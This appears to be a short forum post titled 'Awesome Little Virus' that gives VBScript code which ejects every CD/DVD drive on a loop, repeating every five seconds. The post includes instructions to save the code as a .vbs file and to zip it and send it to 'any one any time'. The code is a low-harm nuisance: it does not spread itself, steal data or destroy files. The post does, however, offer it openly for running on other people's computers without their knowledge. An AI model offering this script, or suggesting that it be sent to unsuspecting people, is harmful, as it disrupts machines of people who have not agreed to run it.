Awesome Little Virus =P

This is a code which i designed ,And It will Make ur CD/DVD drive to automaticaly popout =)


Code: 


Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop


METHOD:-
Copy the code and paste it into the NOTEPAD and than save the file but remove the .txt and write .vbs after the name of the file u want to give,And save the file nw click the file and Here the magic begins =P

If u want to send this code to some one else than u have to copy this code to the zipped folder and send it to any one any time


Stopping/ removing virus:-
This code will stop itself after you restart your system. 
or 
Just delete the File u saved.